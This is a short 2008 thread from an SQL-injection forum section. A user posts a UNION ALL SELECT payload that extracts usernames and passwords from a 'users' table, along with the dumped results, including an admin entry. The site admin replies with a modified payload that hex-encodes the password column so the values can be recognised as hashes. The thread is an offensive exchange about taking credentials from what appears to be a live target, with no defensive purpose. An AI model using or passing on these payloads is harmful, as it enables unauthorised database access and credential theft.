 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
Ascii or other ? |
 |
 Posted: Thu Mar 13, 2008 5:23 pm |
 |
|
| julioisaias |
| Valuable expert |
 |
|
| Joined: Jan 25, 2008 |
| Posts: 50 |
|
|
|
 |
|
 |
|
What kind of code is?
------------------------
| Code: |
UNION ALL SELECT 1,concat(usr,0x3a,pass),3,4,5,6,7,8,9 FROM users
|
Result:
admin:<6>;=
Doing "LIMIT"
----------------
user2:ÖÑØ–‘£áÜ
user3:Ù̧_ci§
.
.
.
userx:ÙÔé•¡£•¦
Best Regards |
|
_________________
I study enough to make the rest a result. |
|
|
|
| Posted: Thu Mar 13, 2008 5:33 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
Mainly there is 2 situations:
1. it can be plainext password with cyrillic or other foreign characters
2. it is binary BLOB data - this is what i think it is ...
Try:
| Code: |
UNION+ALL+SELECT+1,concat(usr,0x3a,HEX(pass)),3,4,5,6,7,8,9 FROM users
|
Then look at hex-coded passwords length - it can be some common hash algorithm, just stored in database as binary blob ... |
|
|
|
|
| Posted: Fri Mar 14, 2008 9:27 pm |
|
|
| julioisaias |
| Valuable expert |
|
|
| Joined: Jan 25, 2008 |
| Posts: 50 |
|
|
|
|
|
|
|
thanks! waraxe
thanks... best regards! |
|
_________________
I study enough to make the rest a result. |
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 166
Members: 0
Total: 166
